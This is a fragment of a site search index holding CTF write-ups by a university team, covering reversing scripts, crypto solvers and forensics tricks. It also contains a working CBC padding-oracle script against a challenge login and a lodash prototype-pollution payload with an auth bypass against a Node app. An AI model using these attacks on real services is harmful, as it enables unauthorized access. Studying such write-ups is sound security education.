"},{"location":"Writeup/2022cqb3/wp/#re-ak","title":"RE [AK]","text":""},{"location":"Writeup/2022cqb3/wp/#godeep","title":"godeep","text":"\u81ea\u52a8\u5316\u9006\u5411\u73b0\u5728\u5927\u5bb6\u90fd\u4f1a\u4e86\uff08\u597d\u591a\u89e3\uff09 \u8fd9\u91cc\u547d\u540d\u662fIDA7.7
\u81ea\u52a8\u6539\u7684\uff0c7.7\u6bd47.5\u5bf9go\u7684\u652f\u6301\u597d\u4e86\u5f88\u591a 'godeep_tree.VSWEwsr'
\u662fright
\u8f93\u51fa\u7684\u51fd\u6570 'godeep_tree.ApSzXJOjiFA'
\u662fmain\u91cc\u5f00\u59cb\u7684\u51fd\u6570 \u6309if\u7684\u5185\u5bb901\u4e00\u4e0b\uff0c\u7136\u540e\u628a01\u4e32\u53cd\u8fc7\u6765\u5c31\u662fflag
name = 'godeep_tree.VSWEwsr'\nr=\"\"\nwhile name != 'godeep_tree.ApSzXJOjiFA':\n print(name, end = \", \")\n func = idaapi.get_func(get_name_ea_simple(name)) \n ea = func.start_ea\n ref = CodeRefsTo(ea, 1)\n fun = next(ref)\n code = str(idaapi.decompile(fun))\n a, b = code.split('else')\n if name.split(\".\")[-1] in a:\n r+=\"1\"\n else:\n assert name.split(\".\")[-1] in b\n r+=\"0\"\n name = re.findall(\"void __fastcall (.*?)\\(\",code)[0]\n name = 'godeep_tree.' + name.split(\"_\")[-1]\n\nprint(name, end = \", \")\nprint()\nprint(bytes.fromhex(hex(eval(\"0B\"+r[::-1]))[2:]))\n
"},{"location":"Writeup/2022cqb3/wp/#easy_python","title":"easy_python [\u4e09\u8840]","text":"\u6b63\u5411\u8fd8\u539f\u5b57\u8282\u7801
r = [204, 141, 44, 236, 111, 140, 140, 76, 44, 172, 7, 7, 39, 165, 70, 7, 39, 166, 165, 134, 134, 140, 204, 165, 7, 39,\n 230, 140, 165, 70, 44, 172, 102, 6, 140, 204, 230, 230, 76, 198, 38, 175]\n\nfor i in r:\n c = i >> 5\n d = i << 3\n print(chr((c | d) & 0x7f), end='')\n
"},{"location":"Writeup/2022cqb3/wp/#baby_transform","title":"baby_transform [\u4e09\u8840]","text":"\u9274\u5b9a\u4e3a\u5085\u91cc\u53f6\u53d8\u6362\uff0c\u9006\u53d8\u6362\u662f\uff1a
\u6b27\u62c9\u6b27\u62c9\u6b27\u62c9 $e^{(jx)}=cosx+jsinx$ \u7ed3\u675f
#include<cstdio>\n#include<vector>\n#include<iostream>\nusing namespace std;\n\n\nint main() {\n FILE* stream = fopen(\"flag.enc\", \"rb\");\n char* flag = (char*)\"flag{aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa}\";\n double* res = (double*)malloc(16 * 160);\n double* ak = (double*)malloc(16 * 160);\n fread(res, 1uLL, 16 * 42, stream);\n for (int i = 0; i < 42; ++i) {\n double x = 0.0, y = 0.0;\n for (int j = 0; j < 42; j++) {\n x += flag[j] * cos(j * (-6.283185307179586 * i) / 42);\n y += flag[j] * sin(j * (-6.283185307179586 * i) / 42);\n }\n //res[2 * i] = y;\n // res[2 * i + 1] = x;\n ak[i] = (res[2 * i + 1] - res[2 * i]) / 42;\n }\n\n for (int i = 0; i < 42; ++i) {\n double x = 0.0, y = 0.0;\n for (int j = 0; j < 42; j++) {\n x += ak[j] * cos(j * (-6.283185307179586 * i) / 42);\n y += ak[j] * sin(j * (-6.283185307179586 * i) / 42);\n }\n cout << (x + y) << \" \";\n }\n}\n
"},{"location":"Writeup/2022cqb3/wp/#web","title":"Web","text":""},{"location":"Writeup/2022cqb3/wp/#ezphp","title":"ezphp","text":"\u6211\u4e0d\u77e5\u9053php8\u6709\u4ec0\u4e48\u9b54\u6cd5\u7279\u6027\uff0c\u4f46\u6211\u77e5\u9053 $3 * 37 = 111$ \u7136\u540e\u4f20\u4e2a ?num=3*37
\u5c31..\u8fc7\u4e86 \u4e00\u5f00\u59cb\u60f3\u52300x
\u7136\u540e0\u88ab\u5899\u4e86\uff0c\u7136\u540e\u60f3\u903b\u8f91\u62fc\u63a5\uff0c===
\u540e\u63a5\u4e2a|2
\u4ec0\u4e48\u7684\uff0c\u7136\u540e\u5c31\u60f3\u5230\u4f4d\u8fd0\u7b97\uff0c\u4f46\u662f\u4f4d\u8fd0\u7b97\u957f\u5ea6\u4e0d\u592a\u591f\uff0c\u7136\u540e\u53bbfactordb\u627e\u4e58\u6cd5\u627e\u52303*37\uff0c\u56de\u6765\u65f6\u5019\u5df2\u7ecf3\u89e3\u4e86\uff0c\u5927\u5bb6\u79d2\u7684\u90fd\u597d\u5feb
Rank: 12 2149pts 5+71Solved HED \u662f\u5357\u65b9\u79d1\u6280\u5927\u5b66COMPASS\u5b9e\u9a8c\u5ba4\u7684CTF\u6218\u961f
\u89e3\u538b\u4e4b\u540e\u53d1\u73b0\u5c0f\u538b\u7f29\u5305\u5168\u70b8\u4e86\uff0c010\u6253\u5f00\u548c\u6b63\u5e38\u538b\u7f29\u5305\u5bf9\u6bd4\u53d1\u73b0\u65f6\u95f4\u6233\u7684\u5730\u65b9\u5c11\u4e86\u4e24\u4e2a\u5b57\u8282\uff0c\u624b\u52a8\u63d2\u8fdb\u53bb\u5c31\u80fd\u6b63\u5e38\u6253\u5f00\uff0c\u53ef\u4ee5\u89e3\u538b\u51fa\u6765\u4e00\u4e2a\u7f3a\u5c11\u6587\u4ef6\u5934\u7684png\u3002
\u52a0\u4e0a\u5934\u548cIDHR\u5f97\u5230\u4e00\u4e2a\u5f88\u70b8\u7684png
\u5bbd\u5ea6\u624b\u8bd5\u51fa\u6765\u662f0fa0\uff08\u6b63\u786e\u5bbd\u5ea6\u8d8a\u8fd1\uff0c\u7ea2\u7eff\u84dd\u6761\u7eb9\u5c31\u8d8a\u89c4\u5219\uff09\uff08~~\u867d\u7136\u6211\u4e0d\u77e5\u9053\u6211\u961f\u53cb\u4e3a\u4ec0\u4e48\u6ca1\u8bd5\u8bd5\u7206CRC\u6216\u8005gimp~~\uff09\uff0c\u5c31\u80fd\u770b\u5230\u300a\u65f6\u95f4\u5f88\u91cd\u8981\u300b\u7684\u63d0\u793a \u8bfb\u65f6flag.zip\uff08\u4e00\u5f00\u59cb\u70b8\u4e86\u7684\uff09\u6587\u4ef6\u7684\u65f6\u95f4\u4fe1\u606f\uff1a
for i in range(1,31):\n # flagx.zip\u662f\u5916\u8fb9\u76f4\u63a5\u89e3\u538b\u7684\n dat=open(f\"flag{i}.zip\",\"rb\").read()[0x46:0x48]\n print(dat.hex())\n
\u6ce8\u610f\u5230\u6240\u6709\u538b\u7f29\u5305\u5b9e\u9645\u65f6\u95f4\u7684\u4e24\u5b57\u8282\u5927\u63d0\u5347\u662f\u9012\u51cf\u7684\uff0c\u5c1d\u8bd5\u524d\u540e\u4ea6\u6216\uff0c\u53f3\u79fb\u7b49\u64cd\u4f5c\u65e0\u679c \u961f\u53cb\u53d1\u6765\u4e00\u53e5\u201c\u5982\u679c\u7b2c\u4e00\u4e2a\u65f6\u95f4\u5bf9\u5e94f\uff0c\u90a3\u7b2c\u4e8c\u4e2a\u5bf9\u5e94f+6=l\u201d\uff08https://chowdera.com/2022/195/202207130529022205.html \uff09\u60f3\u5230\u53ef\u4ee5\u8bd5\u8bd5\u5dee\u503c\u505a\uff0c057e-0518\u51fa\u73b0\u4e86f\uff0c\u4e4b\u540e\u662flag\uff0c\u6e38\u620f\u7ed3\u675f
a = [ # \u4e0a\u8fb9\u7684\u8f93\u51fa\uff0c\u9519\u4f4d\n0x057e - 0x0518,\n0x0518 - 0x0584,\n0x0584 - 0x05e5,\n0x05e5 - 0x057e,\n0x057e - 0x0503,\n0x0503 - 0x0557,\n0x0557 - 0x04ee,\n0x04ee - 0x0481,\n0x0481 - 0x041c,\n0x041c - 0x03bd,\n0x03bd - 0x0374,\n0x0374 - 0x0301,\n0x0301 - 0x0360,\n0x0360 - 0x030d,\n0x030d - 0x02be,\n0x02be - 0x02eb,\n0x02eb - 0x0354,\n0x0354 - 0x03a1,\n0x03a1 - 0x03f1,\n0x03f1 - 0x03c1,\n0x03c1 - 0x0413,\n0x0413 - 0x03bf,\n0x03bf - 0x037e,\n0x037e - 0x0330,\n0x0330 - 0x02dc,\n0x02dc - 0x02bb,\n0x02bb - 0x029a,\n0x029a - 0x0279,\n0x0279 - 0x02f6,\n]\n\nfor c in a:\n print(chr(abs(c)), end='')\n
"},{"location":"Writeup/2022dfjk/readme/#crypto","title":"Crypto","text":""},{"location":"Writeup/2022dfjk/readme/#point-power-125pt-61solves","title":"point power 125pt 61solves","text":"\u4ece \u692d\u5706\u66f2\u7ebf\u8fd0\u7b97\uff1a\u4ece\u7406\u8bba\u5230\u5b9e\u8df5 \u5904\u4e86\u89e3\u5230\uff0c\u6807\u91cf\u4e58 2 \u7684 x \u5750\u6807\u53d8\u5316\u662f\uff0c$m = \\frac{3x_1^2+a}{2y_1}, x_2 = m^2-2x_1$
$$ m^2 = x_2 + 2 * x_1\\ \\frac{(3 x_1^2 + a)^2}{4 y_1^2} = m^2\\ y_1^2 = x_1^3 + ax_1 + b\\ (3 x_1^2 + a)^2 = 4 m^2 x_1^3 + 4 m^2 a x + 4 m^2 b\\ 9 x_1^4 + 6x_1^2 a + a^2 = 4 m^2 * x^3 + 4 m^2 x_1 a + 4 m^2 b\\ a^2 + (6 x_1^2 - 4 m^2 x_1) a + 9 x_1^4 - 4 m^2 x_1^3 - 4 m^2 b = 0 (mod P)\\ $$
\u6700\u540e\u89e3\u6a21\u610f\u4e49\u4e0b\u7684\u4e00\u5143\u4e8c\u6b21\u65b9\u7a0b\u5373\u53ef\u3002
from Crypto.Util.number import *\n\np = 3660057339895840489386133099442699911046732928957592389841707990239494988668972633881890332850396642253648817739844121432749159024098337289268574006090698602263783482687565322890623\nb = 1515231655397326550194746635613443276271228200149130229724363232017068662367771757907474495021697632810542820366098372870766155947779533427141016826904160784021630942035315049381147\nx1 = 2157670468952062330453195482606118809236127827872293893648601570707609637499023981195730090033076249237356704253400517059411180554022652893726903447990650895219926989469443306189740\nx2 = 1991876990606943816638852425122739062927245775025232944491452039354255349384430261036766896859410449488871048192397922549895939187691682643754284061389348874990018070631239671589727\n\nmq = x2 + 2 * x1\nmq4 = 4 * mq\nbb = 6 * x1^2 - mq4 * x1\ncc = 9 * x1^4 - mq4 * x1^3 - mq4 * b\n\n\nP.<X> = PolynomialRing(GF(p))\nf = X^2 + bb*X + cc\nr = f.roots()\nfor x, _ in r:\n print(long_to_bytes(x))\n\n
"},{"location":"Writeup/2022dfjk/readme/#strange-curve-104pt-78solves","title":"strange curve 104pt 78solves","text":"\u5148\u770b\u4e00\u4e0b flag \u662f\u600e\u4e48\u6d41\u7684\uff1a
x = bytes_to_long(flag)\n\nwhile True:\n try:\n ...\n except:\n x += 1\n\nP = (x, y)\nprint(f\"P = {P}\")\n'''\nP = (56006392793427940134514899557008545913996191831278248640996846111183757392968770895731003245209281149, 5533217632352976155681815016236825302418119286774481415122941272968513081846849158651480192550482691343283818244963282636939305751909505213138032238524899)\n'''\n
\u867d\u7136\u6709\u4e00\u4e2a while True \u91cc\u9762\u6709 x += 1
\uff0c\u4f46\u662f\u53ef\u4ee5\u76f2\u731c\u52a0\u7684\u6b21\u6570\u4e0d\u662f\u5f88\u591a\uff0c\u5927\u6982\u53ea\u4f1a\u5f71\u54cd\u540e\u9762\u51e0\u4e2a byte\u3002 \u800c\u4e14\u540e\u9762\u7684 print(P)
\u8f93\u51fa\u4e86 x
\uff0c\u7136\u540e\u76f4\u63a5 long_to_bytes(56006392793...)
\uff0c\u5c31\u62ff\u5230\u4e86 flag{b7f209df-1284-4bdf-b030-28197483c47b}
\u3002 ~~\u6240\u4ee5\u8bf4 x += 1
\u751a\u81f3\u6ca1\u52a0\u8fc7~~
\u6839\u636e\u63d0\u793a\uff0c\u5b58\u5728 CBC Padding Oracle
\u89c2\u5bdf\u548c\u5c1d\u8bd5\u53ef\u5f97\uff0c\u5bc6\u7801\u6709 64 \u4f4d\uff0c\u4fee\u6539\u7b2c 36 \u81f3 63 \u4f4d\u4f1a\u53d1\u751f padding error\uff0c\u6240\u4ee5\u731c\u6d4b chunk \u662f 16 \u4f4d\u3002 \u5df2\u77e5 CBC \u6bcf\u4e00\u5757\u7684\u89e3\u5bc6\u6d41\u7a0b\u662f\uff1acipher ---AES---> intermedian ---xor iv---> plain text\u3002 \u7136\u540e\u5728\u76f8\u90bb\u4e24\u7ec4\u4e4b\u95f4\uff0c\u524d\u4e00\u4e2a\u7684 ciphertext \u4f5c\u4e3a\u540e\u4e00\u7ec4\u7684 iv\u3002\u6211\u4eec\u53ef\u4ee5\u679a\u4e3e iv \u6700\u540e\u4e00\u4e2a\u4f4d\uff0c\u770b\u770b\u54ea\u4e2a byte \u53ef\u4ee5\u8ba9\u89e3\u5bc6\u51fa\u6765\u7684\u6587\u672c\u7684 padding \u4e3a 0x01\uff08\u6b64\u65f6\u5c31\u4e0d\u4f1a\u7206 padding error \u4e86\uff09\uff0c\u8fd9\u65f6\u6211\u4eec\u5c31\u53ef\u4ee5\u628a 0x01 \u548c iv \u7684\u6700\u540e\u4e00\u4f4d\u5f02\u6216\u4e00\u4e0b\uff0c\u5c31\u53ef\u4ee5\u62ff\u5230 intermedian \u7684\u6700\u540e\u4e00\u4f4d\u4e86\u3002 \u4ee5\u6b64\u7c7b\u63a8\uff0c\u5c31\u53ef\u4ee5\u6478\u5230 intermedian \u7684\u5168\u90e8\u503c\u3002\u518d\u62ff intermedian \u5f02\u6216\u771f\u6b63\u7684 iv\uff0c\u5c31\u53ef\u4ee5\u62ff\u5230\u660e\u6587\u3002\u8fd9\u90e8\u5206\u7684\u5185\u5bb9\uff0c\u7f51\u4e0a\u5df2\u7ecf\u6709\u5f88\u591a\u5173\u4e8e CBC Padding Oracle Attack \u7684\u6559\u7a0b\uff0c\u8fd9\u91cc\u5c31\u4e0d\u518d\u8d58\u8ff0\u4e86\u3002 \u7136\u540e\u5bf9\u4e8e\u6bcf\u76f8\u90bb\u7684\u4e24\u4e2a\u5757\uff0c\u90fd\u53ef\u4ee5\u7528\u8fd9\u79cd\u65b9\u5f0f\u7206\u7834\u51fa\u540e\u4e00\u4e2a\u5757\u7684 intermedian \u503c\uff0c\u8fdb\u800c\u62ff\u5230\u8fd9\u4e00\u5757\u7684\u660e\u6587\u3002
\u811a\u672c\u5982\u4e0b\uff1a
import base64\nimport requests\nfrom Crypto.Util.strxor import strxor\nfrom Crypto.Util.Padding import unpad\n\nsession = 'eyJhZG1pbl9wYXNzd29yZCI6IlNwOTlRNU9DN2NTb2VrWlRkZFRQZEE3RHpMUWJpUGtSTWwzRDBiMmJ3YS95dmZMSEc2YWpWRVhScmh3cGVVVDYrNmlWYTRja2dKd0FsL2pHcy91L0JBPT0iLCJpc2FkbWluIjpmYWxzZX0.YvzJYQ.6hevEiFyct_BhWVc8WtfmZf5qf0'\npassword = list(base64.b64decode(b'Sp99Q5OC7cSoekZTddTPdA7DzLQbiPkRMl3D0b2bwa/yvfLHG6ajVEXRrhwpeUT6+6iVa4ckgJwAl/jGs/u/BA=='))\n\ndef chunks(lst, n):\n for i in range(0, len(lst), n):\n yield lst[i:i + n]\n\ngroups = list(chunks(password, 16))\n\ndef get(password):\n payload = { 'username': 'admin', 'password': 'admin' }\n cookies = { 'session': session, 'admin_password': base64.b64encode(bytes(password)).decode() }\n r = requests.post('http://eci-2ze2vftwh3e6xhybsqxm.cloudeci1.ichunqiu.com/login', cookies=cookies, data=payload)\n return r.text\n\ntext = b''\nfor chunk in range(3):\n intermedia = [0] * 16\n for i in range(1, 16 + 1):\n for j in range(256):\n intermedia[-i] = j\n iv = [i] * 16\n for k in range(16):\n iv[k] ^= intermedia[k]\n result = get(iv + groups[chunk + 1])\n print('{:3d} => {}'.format(j, result))\n if result == 'False':\n break\n print(intermedia)\n text += strxor(bytes(intermedia), bytes(groups[chunk]))\nprint(unpad(text))\n
\u7136\u540e\u62ff\u5230\u660e\u6587\u5bc6\u7801\u4e4b\u540e\uff0c\u7528 admin
\u767b\u5f55\u4e00\u4e0b\uff0c\u5c31\u62ff\u5230\u4e86 flag\u3002
\u5206\u6790php\u6587\u4ef6\uff0c\u6ce8\u610f\u4ee5\u4e0b\u51e0\u70b9\uff1a - vardump\u7684\u8c03\u7528 - \u5339\u914d\u6210\u529f\u9700\u8981\u56fa\u5b9a\u7684\u6b63\u786e\u524d\u7f00\uff0c\u957f\u5ea6\u4e0d\u8d85\u8fc7500 - \u6574\u6bb5\u5185\u5bb9\u5fc5\u987b\u662f\u552f\u4e00\u7684\uff0c\u867d\u7136\u6210\u529f\u9700\u8981\u6b63\u786e\u524d\u7f00\uff0c\u4f46\u662f\u751f\u6210flag\u662f\u6574\u6bb5\u5185\u5bb9\u3002
IDA\u6253\u5f00so\uff0c\u641c\u7d22\u5b57\u7b26\u4e32\u770b\u770b\u662f\u4e0d\u662fRealWordRE\uff0c\u7136\u540e\u770b\u5230\u4e86flag\u5b57\u6837\uff0cx\u8ddf\u5165\u5206\u6790\u53d1\u73b0\u53ef\u80fd\u662f\u4e00\u4e2a\u6709\u5411\u56fe\u7684\u7ec8\u70b9\uff0c\u5199\u811a\u672c\u53cd\u5411dfs\u53d1\u73b0\u4f1a\u6b7b\u5faa\u73af\uff1a
\u811a\u6b65\u9700\u8981\u7684\u624b\u52a8\u64cd\u4f5c\uff1an\u91cd\u547d\u540dflag!!
\u6240\u5728\u7684\u51fd\u6570\u4e3alast
# \u8fd9\u91cc\u7684visit\u5199\u70b8\u4e86\ndef dfs(name, pwd, visit, dept):\n if name == \"sub_1443\":\n print(name, \"\".join(pwd))\n input(\"win!!!\")\n if dept > 500 or name in visit:\n return\n try:\n print(name, \"\".join(pwd))\n func = idaapi.get_func(get_name_ea_simple(\"_\"+name)) \n ea = func.start_ea\n ref = DataRefsTo(ea)\n next(ref) # skip plt\n got = next(ref)\n useages = DataRefsTo(got)\n useages_rand = [u for u in useages]\n random.shuffle(useages_rand)\n for fun in useages_rand:\n code = str(idaapi.decompile(fun))\n switch = re.findall(\"if \\( v3 == (.*?) \\)\\n.*?= \"+name+\";\",code)\n if (len(switch)>0):\n func_name = re.findall(\"unsigned __int64 __fastcall (.*?)\\(\",code)[0]\n c_pass = pwd.copy()\n c_visit = visit.copy()\n c_visit.append(name)\n c_pass.append(chr(int(switch[0]))) # assert only 1\n dfs(func_name, c_pass, c_visit, dept+1)\n else:\n print(\"Dead\")\n except:\n pass\n\ndfs('last', [], [], 0)\n
\u6362\u6210\u6240\u6709\u8282\u70b9\u53ea\u8bbf\u95ee\u4e00\u6b21\uff0cqueue\u5f88\u5feb\u8dd1\u5230\u4e86\u8d77\u70b9\uff0c\u5e76\u8f93\u51fa\u8282\u70b9\u76f8\u5173\u4fe1\u606f\u53ef\u89c6\u5316\u5efa\u56fe\u5982\u4e0b\uff1a \u53d1\u73b0\u6709\u91cd\u8fb9\uff0c\u4e0d\u8003\u8651\u91cd\u8fb9\u4e5f\u5b58\u5728\u73af\uff0c\u6700\u77ed\u8def\u548c\u6700\u957f\u8def\u505a\u7b54\u6848\u90fd\u4e0d\u6b63\u786e\uff0c\u4e8e\u662f\u4ece\u8d77\u70b9(\u6709oops\u51fd\u6570\u8ddf\u8fdb\u7684F\u5b57\u6bcd)\u51fa\u53d1\uff0c\u6539\u811a\u672c\u7206\u51fa\u6240\u6709\u4e0d\u8d70\u91cd\u590d\u8282\u70b9\u7684\u7b54\u6848\uff08\u4fdd\u8bc1\u89e3\u662f\u6709\u9650\u7684\uff09\uff1a
import queue\n\n\nbuffer_next = {}\ndef get_next(name):\n global buffer_next\n if name in buffer_next:\n for item in buffer_next[name]:\n yield item\n else:\n buffer = []\n try:\n func = idaapi.get_func(get_name_ea_simple(\"_\" + name))\n code = str(idaapi.decompile(func))\n switch = re.findall(r\"if \\( v3 == (.*?) \\)\\n.*?= (.*?);\", code)\n if len(switch) > 0:\n for pair in switch:\n key, func_name = chr(int(pair[0])), pair[1]\n print('{} => {}'.format(name, func_name))\n buffer.append((key, func_name))\n yield (key, func_name)\n buffer_next[name] = buffer\n except Exception as e:\n print(e)\n\ndef advanced_dfs():\n q = queue.Queue()\n q.put(('sub_1443', '', '', set(['sub_1443'])))\n\n while not q.empty():\n now, father, path, visited = q.get()\n if now == 'last':\n print(len(path), path)\n continue\n\n for key, next_name in get_next(now):\n if next_name in visited:\n continue\n visited_copy = visited.copy()\n visited_copy.add(next_name)\n q.put((next_name, now, path + key, visited_copy))\n\nadvanced_dfs()\n
\u62ff\u6240\u6709\u8f93\u51fa\u7206\u672c\u5730\u670d\u52a1\u5668\uff1a
# dat='''\u4e0a\u8fb9IDA-Python\u7684\u8f93\u51fa'''\nimport requests\nfor i in dat.split(\"\\n\"):\n r=requests.get(\"http://ip:1447/?flag=\"+i.split(\" \")[1])\n if (\"flag{\" in r.text):\n print(r.text)\n print(i)\n
\u5728\u6240\u6709\u7ed3\u679c\u4e2d\u8dd1\u51fa\u4e86\u6b63\u786e\u7684\u90a3\u4e2a
[debug]: verify(374)\nflag!!!<br>int(0)\nSUCCESS\n<br><br>win! your flag is: flag{4ed4c7872f71240d75624ff04d25631f}\n374 FSTVHUReZ13z9UYDNTwDUwJSAFjPEUbs1oii61Q79GZnqWoIMu4W8e6n6iy9oi9ElOcRKA8yMwRjJblt5xu5KOBOc3XBOPM3VDFrihROOMpjPs4ZevQrDmkppC74k2XjzqbiJkMuVHeq8iVWWyiw9W0glTEth348odMbKTABtjoZEE94uqQomly4emxwKLZyPsMPCUXyFmacSXFebwIZmbHBDaRw0AAKMEVpbaIFV3p57WiTsbDkey1UL4LBttYIH4BXQZJ51p7hjRdW8yo6WH33XROfXnFpYBP44wkRJhxQHWGVDdmluUTEHDu0DdhsDCghrGqrBoZIJttSwrIjisxdeBtj5A6Ch2LKkanHNguUefegZrqVCo\n
"},{"location":"Writeup/2022dfjkjs/wp/","title":"2022\u5dc5\u5cf0\u6781\u5ba2\u51b3\u8d5b","text":"Rank: 10
"},{"location":"Writeup/2022dfjkjs/wp/#strangetemporature","title":"StrangeTemporature","text":"Extract nth base64 bytes from modbus/tcp protocl.
ZmxhZ3s5N2JmZWIwMy1mYTVjLWFhNmYtYWQxZS05YzVkMzhjNzQ0OWV9\n
From Base64:
flag{97bfeb03-fa5c-aa6f-ad1e-9c5d38c7449e}\n
"},{"location":"Writeup/2022dfjkjs/wp/#nodesystem","title":"Nodesystem","text":"In the POST /api we can use an arbitrary filename, find the directory:
{\"auth\": {\"name[]\":\"admin\", \"password[]\":true}, \"filename\" : \"test\"}\n
Use the index.js
we can find the source code.
const express = require('express'); \nconst bodyParser = require('body-parser'); \nconst _ = require('lodash'); \nconst app = express(); \nvar fs = require('fs'); \n\napp.set('view engine', 'pug'); \napp.set('views', 'views'); \n\napp.use(bodyParser.urlencoded({ extended: true })); \napp.use(express.static('static')); \n\nconst users = [\n { name: 'test', password: 'test' }, \n { name: 'admin', password: Math.random().toString(32), admin: true }, \n]; \n\nlet messages = []; \nlet lastId = 1; \n\nfunction findUser(auth) { \n return users.find((u) => \n u.name === auth.name && \n u.password === auth.password); \n } \n\napp.use(bodyParser.json()); \n\napp.get('/users', (req, res, next) => { \n const lists = users; \n res.render('users', { lists: lists, pageTitle: 'List of Users', path: '/users' }); \n }); \n\napp.get('/', (req, res, next) => { \n res.render('home', { pageTitle: 'Home', path: '/' }); \n }); \n\napp.post('/', (req, res, next) => { \n users.push({ name: req.body.name, password: req.body.password }); \n res.redirect('/users'); \n }); \n\napp.get('/message', (req, res) => { \n res.send(messages); \n }); \n\napp.put('/message', (req, res) => { \n const user = findUser(req.body.auth || {}); \n console.log(req.body.auth); \n console.log(user); \n if (!user) { \n res.status(403).send({ ok: false, error: 'Access denied' }); \n return; \n } \n\n const message = { \n avator: '= =', \n }; \n\n _.merge(message, req.body.message, { \n id: lastId++, \n userName: user.name, \n }); \n\n messages.push(message); \n res.send({ ok: true, message: message }); \n }); \n\napp.delete('/', (req, res) => { \n res.send({ ok: true }); \n }); \n\napp.post('/upload', (req, res) => { \n res.send({ ok: true }); \n }); \n\napp.post('/api', (req, res) => { \n const user = findUser(req.body.auth || {}); \n if(!user) { \n res.status(403).send({ ok: false, error: 'Access denied' }); \n return; \n } \n\n filename = req.body.filename; \n testFolder = \"/app/\";\n fs.readdirSync(testFolder).forEach(file => {\n if (file.indexOf(filename) > -1) {\n var buffer = fs.readFileSync(filename).toString();\n res.send({ok: true, content: buffer});\n }\n });\n });\n\napp.post('/debug', (req, res) => {\n const user = findUser(req.body.auth || {});\n if (!user || !user.admin) {\n res.status(403).send({ok: false, error: 'Access denied'});\n return;\n }\n var buffer = fs.readFileSync('/flag').toString();\n res.send({ok: true, content: buffer});\n });\n\napp.listen(80, () => {\n console.log('Listening port 80');\n });\n
In the message function, we can put a prototype pollution.
{\"auth\": {\"name\":\"test\", \"password\":\"test\"},\"message\":{\"admin\":true},\"message\":{\"__proto__\":{\"admin\":true}}}\n
Then request POST /debug:
{\"auth\": {\"name\":\"test\", \"password\":\"test\"}, \"filename\":\"index.js\"}\n
flag{bb5c92fd-e976-482d-bd8d-fe75c7709473}\n
"},{"location":"Writeup/2022dfjkjs/wp/#gcd","title":"gcd","text":"Find this article: https://math.stackexchange.com/questions/985085/attack-on-rsa-factoring-when-knowing-e-and-d
Then use the method from this pptx: https://web.archive.org/web/20081122133715/https://www.cs.purdue.edu/homes/ninghui/courses/Fall04/lectures/lect14-c.pdf
from math import gcd\nfrom Crypto.Util.number import long_to_bytes\n\nq = 159525841996122259638149337206281835567662617929665920269309853980712285666023866332657448035118551608001550994903698308487351441079422360280138462655773347141043597936907238815312380200758714954107355308055568297512583285577797251677925038300853004432614390391636707991425386888624638839063346101278704535117\np = 103688092798943310982647402600171114966652177364073806894252414673051932505190807013641061853384728919598237520908212107621239686924781921343629185171175594445990343702682252985633398911055809553488617609113015580598645062510893878938013992487439634057319597008364777435777902433026095622460842345150901944567\n\nn = 1715097516831775561161353747739509313962850384763754284193603064705990003183954750857689649540587082555847904377918426763475079170697690469267290454724999354302036981034615698694153403754870938739225201770934147845874793740053505575413463153429315475539039712818850905666950096326806695688446947957198050957270336443016980023115464136303403780696015358461369838964806435293267645492940773964907954737849962270208167145137818071024789445448292917016422004351584109968952746852305729861258178402122017513103311904147173869605944992973485253275501741635308107788593258463591060922145241960065862813218690280146883588390356662245698217956617720339878472430817614915509896516775918109916920083183701011823993137753987826242193055167215287839864164955881557719443664876504155709359476375455266912247205663953373944852046907623883953483708248467223346798885142046228485310724692353541792975390854356153906879056788972704718688261213\nx = 13693034247131001247611357013365838905472128629161269384100755984286945944986882779020879733934334461215591081830359749241927901759168319107452036275703768755532293338513836146556306490425526394420440685291299327486258632666082657664827474947846307949205548526817689180357262646108048851554962291154624349603853599623877095789135051759890435127891210971940795915429197420232561510826760487552089621705187244655827668509013761027910519038664267576214742561936826964572261315984043602119812357324667105678247267841445497640859880436819217418374184256023378843611198818733281625017307272013394628328908242726204785568269\nc = 1207106262178445359018459948589897274651891185968586806427714234447059397099330669443037189913958678506147447588787686432870791586266645067569198511010947847769438531195366288233395081813524859121328300315116211130908169351354477893647936383056584771268247471788727296968981371535384241445434057942795625350351461517179136190258136244456887118978348223420158887403238429201791427682781494296473806409015961385580794909106746874670027369932286414096790928966277930586468864071103687837936910843559150279603968747213779555572156135983177121194768041838538456267670795923361920648635769732101772513407467158904982779342496410211785417729464008786654808126619152228029357660596380038858050797654917902576424059433048290426186067840363899227577713800670585547473870112798624948349947633855963137174688403113603549470708467306886181387445601800049442519922530086418265660642841544022198981442640591637598035257382429976435264690303\n\nassert n == p * p * q\n\ne = 65537\nphi = p * (p - 1) * (q - 1)\nd = pow(e, -1, phi)\nm = pow(c, d, n)\nprint(long_to_bytes(m))\n\nraise Exception()\n\nr = n * x - 1\nwhile r % 2 == 0:\n r //= 2\n\nw = 3793879\nw = pow(w, r, n)\nv = pow(w, 2, n)\nwhile v != 1:\n w = v\n v = pow(w, 2, n)\n if gcd(w - 1, n) != 1:\n print(gcd(w - 1, n))\n if gcd(w + 1, n) != 1:\n print(gcd(w + 1, n))\n
flag{bs903sk_fbnw34f8_cwn3efh}\n
"},{"location":"Writeup/2022dfjkjs/wp/#babyprotocol","title":"babyProtocol","text":"Use IOA concat flag:
flag{68b34d92d8a8445039dce-d6819d2362d5}\n
import json\n\ns = json.load(open(\"e:\\\\desk\\\\2.json\", \"r\", encoding=\"utf8\"))\nd = ['*' for _ in range(99)]\nfor i in s:\n try:\n r = i['_source']['layers']['iec60870_asdu'].keys()\n for j in r:\n if \"IOA\" in j:\n dat = i['_source']['layers']['iec60870_asdu'][j]\n idx = int(dat['iec60870_asdu.ioa'])\n c = chr(int(dat[\"iec60870_asdu.bcr.count\"]))\n print(dat)\n if d[idx] != \"*\" and d[idx] != c:\n raise Exception(\"FUCK\")\n if dat['iec60870_asdu.bcr.iv'] != '1':\n d[idx] = c\n except KeyError:\n pass\n\nprint(''.join(d))\n
Remove all frames that IV=1
flag{68b34d92d88445039dced6819d2362d5}\n
"},{"location":"Writeup/2022mtctf/HED/","title":"2022\u7f8e\u56e2\u7f51\u7edc\u5b89\u5168\u9ad8\u6821\u6311\u6218\u8d5b-HED-WriteUp","text":"Rank: 19 1185pts 6Solved
HED \u662f\u5357\u65b9\u79d1\u6280\u5927\u5b66COMPASS\u5b9e\u9a8c\u5ba4\u7684CTF\u6218\u961f
